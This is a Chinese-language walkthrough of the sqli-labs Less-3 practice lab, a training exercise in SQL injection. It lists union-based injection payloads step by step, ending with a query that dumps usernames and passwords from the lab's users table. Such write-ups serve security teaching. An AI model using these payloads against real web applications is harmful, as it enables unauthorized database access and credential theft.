SQL注入实例(sqli-labs/less-3)

0、初始页面

1、确定闭合字符

确定为字符型注入

复制代码
?id=1 and 1=1 
?id=1 and 1=2

确定闭合字符为 ')

复制代码
?id=1'
?id=1')

2、确定表的列数

确定查询表的列数为3

复制代码
?id=1') order by 3 --+

3、确定回显位置

确定回显位置为第二列和第三列

复制代码
?id=-1') union select 1,2,3 --+

4、爆库名

当前所在数据库为security

复制代码
?id=-1') union select 1,user(),database() --+

5、爆表名

查看users表

复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

6、爆列名

复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' --+

7、显示最终结果

复制代码
?id=-1%27) union select 1,2,group_concat(username,0x3a,password) from security.users --+
相关推荐
鸿乃江边鸟12 小时前
Flink中的 BinaryRowData 以及大小端
大数据·sql·flink
牵牛老人12 小时前
Qt C++ 复杂界面处理:巧用覆盖层突破复杂界面处理难题之一
数据库·c++·qt
GBASE13 小时前
GBASE南大通用技术分享:构建最优数据平台,GBase 8s数据库安装准备(三)
数据库
言之。13 小时前
Django REST Framework 中 @action 装饰器详解
数据库·sqlite
十八旬15 小时前
苍穹外卖项目实战(day7-1)-缓存菜品和缓存套餐功能-记录实战教程、问题的解决方法以及完整代码
java·数据库·spring boot·redis·缓存·spring cache
要一起看日出16 小时前
MVCC-多版本并发控制
数据库·mysql·mvcc
Hx__16 小时前
MySQL InnoDB 的 MVCC 机制
数据库·mysql
速易达网络16 小时前
ASP.NET MVC 连接 MySQL 数据库查询示例
数据库·asp.net·mvc
玉衡子16 小时前
MySQL基础架构全面解析
数据库·后端
梦中的天之酒壶16 小时前
Redis Stack扩展功能
数据库·redis·bootstrap